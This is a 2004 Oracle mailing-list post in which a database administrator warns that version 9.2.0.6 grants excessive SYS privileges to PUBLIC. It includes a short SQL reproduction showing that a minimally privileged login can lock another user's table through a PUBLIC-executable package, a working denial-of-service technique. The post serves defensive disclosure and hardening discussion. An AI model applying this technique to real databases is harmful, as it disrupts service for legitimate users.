Still too many privileges granted to PUBLIC in 9.2.0.6
- From: "Van Winssen, Andre A SITI-ITIBHW5" <Andre.VanWinssen@xxxxxxxxx>
- To: <oracle-l@xxxxxxxxxxxxx>
- Date: Tue, 16 Nov 2004 08:31:03 +0100
Lectori Salutem,
after the NIGHTMARE we had over here with applying patches for security alert
#68 (hundreds of them) we started
thinking more about 'hacking' and what else could cause database service
disruptions.
One of the things I am still worried about are to GRANTS to public after a
database creation (9.2.0.6).
See below:
SQL> L
1 select privilege,owner,count(*) from dba_tab_privs
2* where grantee='PUBLIC' and owner='SYS' group by privilege,owner
SQL> /
PRIVILEGE OWNER COUNT(*)
-------------------- -------------------- ----------
DEBUG SYS 12
UNDER SYS 1
DELETE SYS 3
INSERT SYS 4
SELECT SYS 776
UPDATE SYS 2
EXECUTE SYS 443
A little test shows how easy it is to disrupt database service using a login
that merely has create session priv.
1) create user test identified by dom;
grant create session to test;
2) create user testdba identified by slim;
grant connect,dba to testdba;
3) connect testdba/slim
create table tabje (c1 number);
insert into tabje values (1);
commit;
select * from tabje;
>> row returned
4) start another session:
connect test/dom
exec sys.dbms_snapshot.BEGIN_TABLE_REORGANIZATION('TESTDBA','TABJE')
If TESTDBA in 4) tries to rerun the select now it hangs and never returns until
user TEST in step 4 does commit or rollback
Fortunately this fails for objects required for warmstarting the database like
SYS.OBJ$.
".ORA-00701: object necessary for warmstarting database cannot be altered"
I am quite sure that a little research in the list of sys owned plsql objects
for which the grantee is PUBLIC will
demonstrate more possibilities.
Please share comments.
Kind regards,
André van Winssen
--
http://www.freelists.org/webpage/oracle-l
Other related posts:
- » Still too many privileges granted to PUBLIC in 9.2.0.6